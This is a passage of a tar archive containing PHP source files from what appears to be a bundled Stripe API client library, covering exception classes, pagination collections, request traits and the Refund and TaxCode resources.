getJsonBody() { return $this->jsonBody; } /** * Sets the JSON deserialized body. * * @param null|array<string, mixed> $jsonBody */ public function setJsonBody($jsonBody) { $this->jsonBody = $jsonBody; } /** * Gets the Stripe request ID. * * @return null|string */ public function getRequestId() { return $this->requestId; } /** * Sets the Stripe request ID. * * @param null|string $requestId */ public function setRequestId($requestId) { $this->requestId = $requestId; } /** * Gets the Stripe error code. * * Cf. the `CODE_*` constants on {@see \Stripe\ErrorObject} for possible * values. * * @return null|string */ public function getStripeCode() { return $this->stripeCode; } /** * Sets the Stripe error code. * * @param null|string $stripeCode */ public function setStripeCode($stripeCode) { $this->stripeCode = $stripeCode; } /** * Returns the string representation of the exception. * * @return string */ public function __toString() { $parentStr = parent::__toString(); $statusStr = (null === $this->getHttpStatus()) ? '' : "(Status {$this->getHttpStatus()}) "; $idStr = (null === $this->getRequestId()) ? '' : "(Request {$this->getRequestId()}) "; return "Error sending request to Stripe: {$statusStr}{$idStr}{$this->getMessage()}\n{$parentStr}"; } protected function constructErrorObject() { if (null === $this->jsonBody || !\array_key_exists('error', $this->jsonBody)) { return null; } return \Stripe\ErrorObject::constructFrom($this->jsonBody['error']); } } ������������������stripe-gateway/lib/Exception/BadMethodCallException.php���������������������������������������������0000644�����������������00000000212�14720677707�0017244 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; class BadMethodCallException extends \BadMethodCallException implements ExceptionInterface { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/CardException.php������������������������������������������������������0000644�����������������00000004240�14720677707�0015477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * CardException is thrown when a user enters a card that can't be charged for * some reason. */ class CardException extends ApiErrorException { protected $declineCode; protected $stripeParam; /** * Creates a new CardException exception. * * @param string $message the exception message * @param null|int $httpStatus the HTTP status code * @param null|string $httpBody the HTTP body as a string * @param null|array $jsonBody the JSON deserialized body * @param null|array|\Stripe\Util\CaseInsensitiveArray $httpHeaders the HTTP headers array * @param null|string $stripeCode the Stripe error code * @param null|string $declineCode the decline code * @param null|string $stripeParam the parameter related to the error * * @return CardException */ public static function factory( $message, $httpStatus = null, $httpBody = null, $jsonBody = null, $httpHeaders = null, $stripeCode = null, $declineCode = null, $stripeParam = null ) { $instance = parent::factory($message, $httpStatus, $httpBody, $jsonBody, $httpHeaders, $stripeCode); $instance->setDeclineCode($declineCode); $instance->setStripeParam($stripeParam); return $instance; } /** * Gets the decline code. * * @return null|string */ public function getDeclineCode() { return $this->declineCode; } /** * Sets the decline code. * * @param null|string $declineCode */ public function setDeclineCode($declineCode) { $this->declineCode = $declineCode; } /** * Gets the parameter related to the error. * * @return null|string */ public function getStripeParam() { return $this->stripeParam; } /** * Sets the parameter related to the error. * * @param null|string $stripeParam */ public function setStripeParam($stripeParam) { $this->stripeParam = $stripeParam; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/AuthenticationException.php��������������������������������������������0000644�����������������00000000335�14720677707�0017606 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * AuthenticationException is thrown when invalid credentials are used to * connect to Stripe's servers. */ class AuthenticationException extends ApiErrorException { } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/IdempotencyException.php�����������������������������������������������0000644�����������������00000000314�14720677707�0017104 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * IdempotencyException is thrown in cases where an idempotency key was used * improperly. */ class IdempotencyException extends ApiErrorException { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Exception/RateLimitException.php�������������������������������������������������0000644�����������������00000000462�14720677707�0016522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Exception; /** * RateLimitException is thrown in cases where an account is putting too much * load on Stripe's API servers (usually by performing too many requests). * Please back off on request rate. */ class RateLimitException extends InvalidRequestException { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Collection.php�������������������������������������������������������������������0000644�����������������00000020721�14720677707�0013106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class Collection. * * @template TStripeObject of StripeObject * @template-implements \IteratorAggregate<TStripeObject> * * @property string $object * @property string $url * @property bool $has_more * @property TStripeObject[] $data */ class Collection extends StripeObject implements \Countable, \IteratorAggregate { const OBJECT_NAME = 'list'; use ApiOperations\Request; /** @var array */ protected $filters = []; /** * @return string the base URL for the given class */ public static function baseUrl() { return Stripe::$apiBase; } /** * Returns the filters. * * @return array the filters */ public function getFilters() { return $this->filters; } /** * Sets the filters, removing paging options. * * @param array $filters the filters */ public function setFilters($filters) { $this->filters = $filters; } /** * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($k) { if (\is_string($k)) { return parent::offsetGet($k); } $msg = "You tried to access the {$k} index, but Collection " . 'types only support string keys. (HINT: List calls ' . 'return an object with a `data` (which is the data ' . "array). You likely want to call ->data[{$k}])"; throw new Exception\InvalidArgumentException($msg); } /** * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return Collection<TStripeObject> */ public function all($params = null, $opts = null) { self::_validateParams($params); list($url, $params) = $this->extractPathAndUpdateParams($params); list($response, $opts) = $this->_request('get', $url, $params, $opts); $obj = Util\Util::convertToStripeObject($response, $opts); if (!($obj instanceof \Stripe\Collection)) { throw new \Stripe\Exception\UnexpectedValueException( 'Expected type ' . \Stripe\Collection::class . ', got "' . \get_class($obj) . '" instead.' ); } $obj->setFilters($params); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return TStripeObject */ public function create($params = null, $opts = null) { self::_validateParams($params); list($url, $params) = $this->extractPathAndUpdateParams($params); list($response, $opts) = $this->_request('post', $url, $params, $opts); return Util\Util::convertToStripeObject($response, $opts); } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return TStripeObject */ public function retrieve($id, $params = null, $opts = null) { self::_validateParams($params); list($url, $params) = $this->extractPathAndUpdateParams($params); $id = Util\Util::utf8($id); $extn = \urlencode($id); list($response, $opts) = $this->_request( 'get', "{$url}/{$extn}", $params, $opts ); return Util\Util::convertToStripeObject($response, $opts); } /** * @return int the number of objects in the current page */ #[\ReturnTypeWillChange] public function count() { return \count($this->data); } /** * @return \ArrayIterator an iterator that can be used to iterate * across objects in the current page */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator($this->data); } /** * @return \ArrayIterator an iterator that can be used to iterate * backwards across objects in the current page */ public function getReverseIterator() { return new \ArrayIterator(\array_reverse($this->data)); } /** * @throws Exception\ApiErrorException * * @return \Generator|TStripeObject[] A generator that can be used to * iterate across all objects across all pages. As page boundaries are * encountered, the next page will be fetched automatically for * continued iteration. */ public function autoPagingIterator() { $page = $this; while (true) { $filters = $this->filters ?: []; if (\array_key_exists('ending_before', $filters) && !\array_key_exists('starting_after', $filters)) { foreach ($page->getReverseIterator() as $item) { yield $item; } $page = $page->previousPage(); } else { foreach ($page as $item) { yield $item; } $page = $page->nextPage(); } if ($page->isEmpty()) { break; } } } /** * Returns an empty collection. This is returned from {@see nextPage()} * when we know that there isn't a next page in order to replicate the * behavior of the API when it attempts to return a page beyond the last. * * @param null|array|string $opts * * @return Collection */ public static function emptyCollection($opts = null) { return Collection::constructFrom(['data' => []], $opts); } /** * Returns true if the page object contains no element. * * @return bool */ public function isEmpty() { return empty($this->data); } /** * Fetches the next page in the resource list (if there is one). * * This method will try to respect the limit of the current page. If none * was given, the default limit will be fetched again. * * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return Collection<TStripeObject> */ public function nextPage($params = null, $opts = null) { if (!$this->has_more) { return static::emptyCollection($opts); } $lastId = \end($this->data)->id; $params = \array_merge( $this->filters ?: [], ['starting_after' => $lastId], $params ?: [] ); return $this->all($params, $opts); } /** * Fetches the previous page in the resource list (if there is one). * * This method will try to respect the limit of the current page. If none * was given, the default limit will be fetched again. * * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return Collection<TStripeObject> */ public function previousPage($params = null, $opts = null) { if (!$this->has_more) { return static::emptyCollection($opts); } $firstId = $this->data[0]->id; $params = \array_merge( $this->filters ?: [], ['ending_before' => $firstId], $params ?: [] ); return $this->all($params, $opts); } /** * Gets the first item from the current page. Returns `null` if the current page is empty. * * @return null|TStripeObject */ public function first() { return \count($this->data) > 0 ? $this->data[0] : null; } /** * Gets the last item from the current page. Returns `null` if the current page is empty. * * @return null|TStripeObject */ public function last() { return \count($this->data) > 0 ? $this->data[\count($this->data) - 1] : null; } private function extractPathAndUpdateParams($params) { $url = \parse_url($this->url); if (!isset($url['path'])) { throw new Exception\UnexpectedValueException("Could not parse list url into parts: {$url}"); } if (isset($url['query'])) { // If the URL contains a query param, parse it out into $params so they // don't interact weirdly with each other. $query = []; \parse_str($url['query'], $query); $params = \array_merge($params ?: [], $query); } return [$url['path'], $params]; } } �����������������������������������������������stripe-gateway/lib/ApiOperations/Update.php���������������������������������������������������������0000644�����������������00000003166�14720677707�0015016 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for updatable resources. Adds an `update()` static method and a * `save()` method to the class. * * This trait should only be applied to classes that derive from StripeObject. */ trait Update { /** * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/Request.php��������������������������������������������������������0000644�����������������00000013037�14720677707�0015222 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for resources that need to make API requests. * * This trait should only be applied to classes that derive from StripeObject. */ trait Request { /** * @param null|array|mixed $params The list of parameters to validate * * @throws \Stripe\Exception\InvalidArgumentException if $params exists and is not an array */ protected static function _validateParams($params = null) { if ($params && !\is_array($params)) { $message = 'You must pass an array as the first argument to Stripe API ' . 'method calls. (HINT: an example call to create a charge ' . "would be: \"Stripe\\Charge::create(['amount' => 100, " . "'currency' => 'usd', 'source' => 'tok_1234'])\")"; throw new \Stripe\Exception\InvalidArgumentException($message); } } /** * @param 'delete'|'get'|'post' $method HTTP method ('get', 'post', etc.) * @param string $url URL for the request * @param array $params list of parameters for the request * @param null|array|string $options * @param string[] $usage names of tracked behaviors associated with this request * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return array tuple containing (the JSON response, $options) */ protected function _request($method, $url, $params = [], $options = null, $usage = []) { $opts = $this->_opts->merge($options); list($resp, $options) = static::_staticRequest($method, $url, $params, $opts, $usage); $this->setLastResponse($resp); return [$resp->json, $options]; } /** * @param string $url URL for the request * @param class-string< \Stripe\SearchResult|\Stripe\Collection > $resultClass indicating what type of paginated result is returned * @param null|array $params list of parameters for the request * @param null|array|string $options * @param string[] $usage names of tracked behaviors associated with this request * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection|\Stripe\SearchResult */ protected static function _requestPage($url, $resultClass, $params = null, $options = null, $usage = []) { self::_validateParams($params); list($response, $opts) = static::_staticRequest('get', $url, $params, $options, $usage); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); if (!($obj instanceof $resultClass)) { throw new \Stripe\Exception\UnexpectedValueException( 'Expected type ' . $resultClass . ', got "' . \get_class($obj) . '" instead.' ); } $obj->setLastResponse($response); $obj->setFilters($params); return $obj; } /** * @param 'delete'|'get'|'post' $method HTTP method ('get', 'post', etc.) * @param string $url URL for the request * @param callable $readBodyChunk function that will receive chunks of data from a successful request body * @param array $params list of parameters for the request * @param null|array|string $options * @param string[] $usage names of tracked behaviors associated with this request * * @throws \Stripe\Exception\ApiErrorException if the request fails */ protected function _requestStream($method, $url, $readBodyChunk, $params = [], $options = null, $usage = []) { $opts = $this->_opts->merge($options); static::_staticStreamingRequest($method, $url, $readBodyChunk, $params, $opts, $usage); } /** * @param 'delete'|'get'|'post' $method HTTP method ('get', 'post', etc.) * @param string $url URL for the request * @param array $params list of parameters for the request * @param null|array|string $options * @param string[] $usage names of tracked behaviors associated with this request * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return array tuple containing (the JSON response, $options) */ protected static function _staticRequest($method, $url, $params, $options, $usage = []) { $opts = \Stripe\Util\RequestOptions::parse($options); $baseUrl = isset($opts->apiBase) ? $opts->apiBase : static::baseUrl(); $requestor = new \Stripe\ApiRequestor($opts->apiKey, $baseUrl); list($response, $opts->apiKey) = $requestor->request($method, $url, $params, $opts->headers, $usage); $opts->discardNonPersistentHeaders(); return [$response, $opts]; } /** * @param 'delete'|'get'|'post' $method HTTP method ('get', 'post', etc.) * @param string $url URL for the request * @param callable $readBodyChunk function that will receive chunks of data from a successful request body * @param array $params list of parameters for the request * @param null|array|string $options * @param string[] $usage names of tracked behaviors associated with this request * * @throws \Stripe\Exception\ApiErrorException if the request fails */ protected static function _staticStreamingRequest($method, $url, $readBodyChunk, $params, $options, $usage = []) { $opts = \Stripe\Util\RequestOptions::parse($options); $baseUrl = isset($opts->apiBase) ? $opts->apiBase : static::baseUrl(); $requestor = new \Stripe\ApiRequestor($opts->apiKey, $baseUrl); $requestor->requestStream($method, $url, $readBodyChunk, $params, $opts->headers); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/Delete.php���������������������������������������������������������0000644�����������������00000001374�14720677707�0014775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for deletable resources. Adds a `delete()` method to the class. * * This trait should only be applied to classes that derive from StripeObject. */ trait Delete { /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/All.php������������������������������������������������������������0000644�����������������00000001176�14720677707�0014303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for listable resources. Adds a `all()` static method to the class. * * This trait should only be applied to classes that derive from StripeObject. */ trait All { /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/SingletonRetrieve.php����������������������������������������������0000644�����������������00000001346�14720677707�0017242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for retrievable singleton resources. Adds a `retrieve()` static method to the * class. * * This trait should only be applied to classes that derive from SingletonApiResource. */ trait SingletonRetrieve { /** * @param null|array|string $opts the ID of the API resource to retrieve, * or an options array containing an `id` key * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static */ public static function retrieve($opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static(null, $opts); $instance->refresh(); return $instance; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/Create.php���������������������������������������������������������0000644�����������������00000001543�14720677707�0014774 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for creatable resources. Adds a `create()` static method to the class. * * This trait should only be applied to classes that derive from StripeObject. */ trait Create { /** * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/Retrieve.php�������������������������������������������������������0000644�����������������00000001414�14720677707�0015353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for retrievable resources. Adds a `retrieve()` static method to the * class. * * This trait should only be applied to classes that derive from StripeObject. */ trait Retrieve { /** * @param array|string $id the ID of the API resource to retrieve, * or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/NestedResource.php�������������������������������������������������0000644�����������������00000007651�14720677707�0016531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for resources that have nested resources. * * This trait should only be applied to classes that derive from StripeObject. */ trait NestedResource { /** * @param 'delete'|'get'|'post' $method * @param string $url * @param null|array $params * @param null|array|string $options * * @return \Stripe\StripeObject */ protected static function _nestedResourceOperation($method, $url, $params = null, $options = null) { self::_validateParams($params); list($response, $opts) = static::_staticRequest($method, $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $id * @param string $nestedPath * @param null|string $nestedId * * @return string */ protected static function _nestedResourceUrl($id, $nestedPath, $nestedId = null) { $url = static::resourceUrl($id) . $nestedPath; if (null !== $nestedId) { $url .= "/{$nestedId}"; } return $url; } /** * @param string $id * @param string $nestedPath * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject */ protected static function _createNestedResource($id, $nestedPath, $params = null, $options = null) { $url = static::_nestedResourceUrl($id, $nestedPath); return self::_nestedResourceOperation('post', $url, $params, $options); } /** * @param string $id * @param string $nestedPath * @param null|string $nestedId * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject */ protected static function _retrieveNestedResource($id, $nestedPath, $nestedId, $params = null, $options = null) { $url = static::_nestedResourceUrl($id, $nestedPath, $nestedId); return self::_nestedResourceOperation('get', $url, $params, $options); } /** * @param string $id * @param string $nestedPath * @param null|string $nestedId * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject */ protected static function _updateNestedResource($id, $nestedPath, $nestedId, $params = null, $options = null) { $url = static::_nestedResourceUrl($id, $nestedPath, $nestedId); return self::_nestedResourceOperation('post', $url, $params, $options); } /** * @param string $id * @param string $nestedPath * @param null|string $nestedId * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject */ protected static function _deleteNestedResource($id, $nestedPath, $nestedId, $params = null, $options = null) { $url = static::_nestedResourceUrl($id, $nestedPath, $nestedId); return self::_nestedResourceOperation('delete', $url, $params, $options); } /** * @param string $id * @param string $nestedPath * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject */ protected static function _allNestedResources($id, $nestedPath, $params = null, $options = null) { $url = static::_nestedResourceUrl($id, $nestedPath); return self::_nestedResourceOperation('get', $url, $params, $options); } } ���������������������������������������������������������������������������������������stripe-gateway/lib/ApiOperations/Search.php���������������������������������������������������������0000644�����������������00000001171�14720677707�0014773 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\ApiOperations; /** * Trait for searchable resources. * * This trait should only be applied to classes that derive from StripeObject. */ trait Search { /** * @param string $searchUrl * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult of ApiResources */ protected static function _searchResource($searchUrl, $params = null, $opts = null) { return static::_requestPage($searchUrl, \Stripe\SearchResult::class, $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Refund.php�����������������������������������������������������������������������0000644�����������������00000020167�14720677707�0012242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Refund objects allow you to refund a previously created charge that isn't * refunded yet. Funds are refunded to the credit or debit card that's * initially charged. * * Related guide: <a href="https://stripe.com/docs/refunds">Refunds</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount, in cents (or local equivalent). * @property null|string|\Stripe\BalanceTransaction $balance_transaction Balance transaction that describes the impact on your account balance. * @property null|string|\Stripe\Charge $charge ID of the charge that's refunded. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. You can use this for displaying to users (available on non-card refunds only). * @property null|\Stripe\StripeObject $destination_details * @property null|string|\Stripe\BalanceTransaction $failure_balance_transaction After the refund fails, this balance transaction describes the adjustment made on your account balance that reverses the initial balance transaction. * @property null|string $failure_reason Provides the reason for the refund failure. Possible values are: <code>lost_or_stolen_card</code>, <code>expired_or_canceled_card</code>, <code>charge_for_pending_refund_disputed</code>, <code>insufficient_funds</code>, <code>declined</code>, <code>merchant_request</code>, or <code>unknown</code>. * @property null|string $instructions_email For payment methods without native refund support (for example, Konbini, PromptPay), provide an email address for the customer to receive refund instructions. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $next_action * @property null|string|\Stripe\PaymentIntent $payment_intent ID of the PaymentIntent that's refunded. * @property null|string $reason Reason for the refund, which is either user-provided (<code>duplicate</code>, <code>fraudulent</code>, or <code>requested_by_customer</code>) or generated by Stripe internally (<code>expired_uncaptured_charge</code>). * @property null|string $receipt_number This is the transaction number that appears on email receipts sent for this refund. * @property null|string|\Stripe\TransferReversal $source_transfer_reversal The transfer reversal that's associated with the refund. Only present if the charge came from another Stripe account. * @property null|string $status Status of the refund. This can be <code>pending</code>, <code>requires_action</code>, <code>succeeded</code>, <code>failed</code>, or <code>canceled</code>. Learn more about <a href="https://stripe.com/docs/refunds#failed-refunds">failed refunds</a>. * @property null|string|\Stripe\TransferReversal $transfer_reversal This refers to the transfer reversal object if the accompanying transfer reverses. This is only applicable if the charge was created using the destination parameter. */ class Refund extends ApiResource { const OBJECT_NAME = 'refund'; use ApiOperations\Update; const FAILURE_REASON_EXPIRED_OR_CANCELED_CARD = 'expired_or_canceled_card'; const FAILURE_REASON_LOST_OR_STOLEN_CARD = 'lost_or_stolen_card'; const FAILURE_REASON_UNKNOWN = 'unknown'; const REASON_DUPLICATE = 'duplicate'; const REASON_EXPIRED_UNCAPTURED_CHARGE = 'expired_uncaptured_charge'; const REASON_FRAUDULENT = 'fraudulent'; const REASON_REQUESTED_BY_CUSTOMER = 'requested_by_customer'; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_PENDING = 'pending'; const STATUS_REQUIRES_ACTION = 'requires_action'; const STATUS_SUCCEEDED = 'succeeded'; /** * When you create a new refund, you must specify a Charge or a PaymentIntent * object on which to create it. * * Creating a new refund will refund a charge that has previously been created but * not yet refunded. Funds will be refunded to the credit or debit card that was * originally charged. * * You can optionally refund only part of a charge. You can do so multiple times, * until the entire charge has been refunded. * * Once entirely refunded, a charge can’t be refunded again. This method will raise * an error when called on an already-refunded charge, or when trying to refund * more money than is left on a charge. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of all refunds you created. We return the refunds in sorted * order, with the most recent refunds appearing first. The 10 most recent refunds * are always available by default on the Charge object. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Refund> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing refund. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the refund that you specify by setting the values of the passed * parameters. Any parameters that you don’t provide remain unchanged. * * This request only accepts <code>metadata</code> as an argument. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Refund the canceled refund */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/TaxCode.php����������������������������������������������������������������������0000644�����������������00000003543�14720677707�0012345 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * <a href="https://stripe.com/docs/tax/tax-categories">Tax codes</a> classify goods and services for tax purposes. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $description A detailed description of which types of products the tax code represents. * @property string $name A short name for the tax code. */ class TaxCode extends ApiResource { const OBJECT_NAME = 'tax_code'; /** * A list of <a href="https://stripe.com/docs/tax/tax-categories">all tax codes * available</a> to add to Products in order to allow specific tax calculations. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxCode> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing tax code. Supply the unique tax code ID and * Stripe will return the corresponding tax code information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxCode */ public static function 